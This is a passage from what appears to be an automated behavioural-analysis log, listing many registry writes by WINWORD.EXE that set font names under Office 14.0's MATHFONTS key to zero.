"HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYDNKM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYGPRM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYGSRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYGTRE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYHAESEO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYHWPEQ"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYKANB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYKANM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYMJRE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYMPRL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYNAMB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYNAML"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYNAMM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYPORM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYSANB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYSNRL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYSUPB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYSUPM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYTBRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYWULB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYWULM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "IMPACT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "IMPRINT MT SHADOW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "INFORMAL ROMAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "IRISUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ISKOOLA POTA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "JASMINEUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "JOKERMAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "JUICE ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KAITI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KALINGA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KARTIKA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KHMER UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KODCHIANGUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KOKILA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KRISTEN ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KUNSTLER SCRIPT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LAO UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LATHA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LEELAWADEE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LEVENIM MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LIBERTY BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LILYUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA BRIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA CALLIGRAPHY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA CONSOLE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA FAX"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA HANDWRITING"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA SANS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA SANS TYPEWRITER"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA SANS UNICODE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MAGNETO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MAIANDRA GD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MALGUN GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MANGAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MARLETT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MATURA MT SCRIPT CAPITALS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MBATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDALONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDART"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDEASOP"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDGAESUNG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDSOL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MEIRYO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MEIRYO UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MGUNGHEULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MGUNGJEONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MHUNMIN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT HIMALAYA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT JHENGHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT JHENGHEI UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT NEW TAI LUE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT PHAGSPA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT SANS SERIF"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT TAI LE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT UIGHUR"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT YAHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT YAHEI UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT YI BAITI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MINGLIU"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MINGLIU_HKSCS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MINGLIU_HKSCS-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MINGLIU-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MIRIAM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MIRIAM FIXED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MISTRAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MJEMOKBATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MJEMOKGOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MODERN NO. 20"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MONGOLIAN BAITI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MONOTYPE CORSIVA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MOOLBORAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS MINCHO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS OUTLOOK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS PGOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS PMINCHO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS REFERENCE SANS SERIF"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS REFERENCE SPECIALTY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS UI GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MSUGIHEULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MSUGIJEONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MT EXTRA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MURRAYHILL BD BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MV BOLI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NARKISIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NEWJUMJA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NEWTEXT BK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NIAGARA ENGRAVED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NIAGARA SOLID"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NIRMALA UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NSIMSUN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NYALA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "OCR A EXTENDED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "OCR-A BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "OCR-B-10 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "OLD ENGLISH TEXT MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ONYX"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ORATOR10 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ORBIT-B BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PALACE SCRIPT MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PALATINO LINOTYPE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PAPYRUS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PARCHMENT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PARKAVENUE BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PERPETUA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PERPETUA TITLING MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PLANTAGENET CHEROKEE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PLAYBILL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PMINGLIU"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PMINGLIU-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "POOR RICHARD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PRISTINA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "RAAVI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "RAGE ITALIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "RAVIE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ROCKWELL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ROCKWELL CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ROCKWELL EXTRA BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ROD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SAKKAL MAJALLA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SCRIPT MT BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE PRINT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE SCRIPT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI LIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI SEMILIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI SYMBOL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SHONAR BANGLA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SHOWCARD GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SHRUTI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMPLIFIED ARABIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMPLIFIED ARABIC FIXED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: 